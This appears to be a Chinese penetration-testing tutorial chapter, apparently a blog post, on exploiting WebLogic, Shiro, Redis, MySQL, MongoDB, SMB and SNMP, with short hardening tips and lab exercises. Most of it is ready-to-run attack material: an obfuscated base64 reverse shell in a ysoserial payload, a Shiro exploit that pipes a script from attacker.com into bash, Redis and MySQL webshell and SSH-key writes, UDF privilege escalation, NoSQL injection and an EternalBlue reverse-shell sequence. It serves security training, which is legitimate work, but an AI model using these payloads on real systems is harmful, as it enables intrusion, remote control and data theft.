服务攻防矩阵

4.1 中间件漏洞利用

WebLogic反序列化漏洞(CVE-2023-21839)
  • 漏洞原理:

  • T3协议反序列化未严格校验,攻击者可注入恶意序列化对象执行任意代码。

  • 攻击流程:

  1. 使用ysoserial生成CommonsCollections6 payload:
bash 复制代码
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin 
  1. 通过T3协议发送payload:
python 复制代码
python3 weblogic.py 192.168.1.100:7001 payload.bin 
  • 防御方案:

  • 升级至官方补丁版本

  • 禁用T3协议或配置IP白名单

Shiro RememberMe反序列化(CVE-2016-4437)
  • 漏洞检测:

  • 检查Cookie中rememberMe=deleteMe字段是否存在Shiro特征

  • 利用工具:

bash 复制代码
python3 shiro_exploit.py -t http://target.com -p CommonsBeanutils1 -c "curl http://attacker.com/shell.sh | bash" 
  • 密钥爆破:

  • 使用shiro_attack.jar加载常见密钥列表(如kPH+bIxk5D2deZiIxcaaaA==)

Redis未授权访问
  • 写SSH密钥:
redis 复制代码
config set dir /root/.ssh 

config set dbfilename authorized_keys 

set x "\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n" 

save 
  • 写WebShell:
redis 复制代码
config set dir /var/www/html 

set shell "<?php @eval($_POST[cmd]);?>" 

config set dbfilename shell.php 

save 
  • 防御方案:

  • 绑定127.0.0.1并设置强密码

  • 禁用CONFIG/SAVE等高危命令

实践任务
  • 使用Docker搭建Shiro 1.2.4靶场,利用默认密钥反弹Shell

  • 通过Redis未授权访问写入计划任务(/etc/crontab)实现持久化


4.2 数据库渗透

MySQL提权技术
  • UDF提权(Linux):
  1. 上传恶意so文件:
sql 复制代码
SELECT 0x7F454C46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so' 
  1. 创建函数执行命令:
sql 复制代码
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so'; 

SELECT sys_exec('chmod +s /bin/bash'); 
  • 日志文件写入WebShell:
sql 复制代码
SET global general_log_file='/var/www/html/shell.php'; 

SET global general_log=on; 

SELECT '<?php system($_GET["cmd"]);?>'; 
MongoDB注入与未授权访问
  • NoSQL注入利用:
javascript 复制代码
// 原始查询 

db.users.find({user: "admin", pass: "123"}) 

// 攻击载荷 

db.users.find({user: "admin", pass: {"$ne": ""}}) 
  • 未授权访问利用:
bash 复制代码
mongo 192.168.1.100:27017 

> db.adminCommand({listDatabases:1}) 

> db.getUser("admin") 
防御方案
  • 最小化权限:数据库账户仅授予必要权限(禁止FILE_PRIV)

  • 网络隔离:数据库服务不暴露公网,限制访问IP

实践任务
  • 利用MySQL写入WebShell获取服务器权限

  • 通过MongoDB未授权访问导出用户数据


4.3 协议层漏洞

SMB永恒之蓝(MS17-010)
  • Metasploit利用:
bash 复制代码
msf6 > use exploit/windows/smb/ms17_010_eternalblue 

msf6 > set RHOSTS 192.168.1.200 

msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp 

msf6 > exploit 
  • 手工检测:
bash 复制代码
nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24 
SNMP弱口令与信息泄露
  • 社区名爆破:
bash 复制代码
onesixtyone -c dict.txt 192.168.1.100 
  • 敏感信息提取:
bash 复制代码
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.1.5.0 # 获取主机名 

snmpwalk -v2c -c private 192.168.1.100 1.3.6.1.2.1.25.4.2.1.2 # 进程列表 
防御方案
  • 禁用SMBv1:
powershell 复制代码
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 
  • SNMP加固:

  • 修改默认community名称

  • 配置ACL限制访问源

实践任务
  • 使用永恒之蓝攻击Windows 7靶机,获取SYSTEM权限

  • 通过SNMP协议提取目标设备的ARP表


技术整合与防御体系

企业级服务加固清单
  1. 中间件层:
  • 定期更新至稳定版本

  • 删除默认管理页面(如Tomcat的/manager/html)

  1. 数据库层:
  • 启用SSL加密通信

  • 审计数据库日志中的异常查询

  1. 协议层:
  • 关闭非必要协议(如Telnet/FTP)

  • 部署网络IDS检测异常SMB流量

红队攻击链示例
  1. 通过Shiro反序列化获取Web服务器权限

  2. 利用Redis未授权访问横向跳转到数据库服务器

  3. 通过MySQL提权建立SSH隧道进入内网


学习建议

  1. 靶场环境:搭建Vulhub、VulnApp等集成化漏洞环境

  2. 武器库开发:编写自动化服务探测脚本(如SMB扫描器)

  3. 攻防演练:参与HTB(Hack The Box)中服务类靶机挑战

本部分内容将帮助学习者掌握企业级服务攻防核心技术,从单点漏洞利用进阶到APT级横向渗透,构建纵深防御体系。

相关推荐
学逆向的9 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop10 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全16 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴19 小时前
【APP安全测试】Frida 基础
网络安全
科技象限20 小时前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd21 小时前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗2 天前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全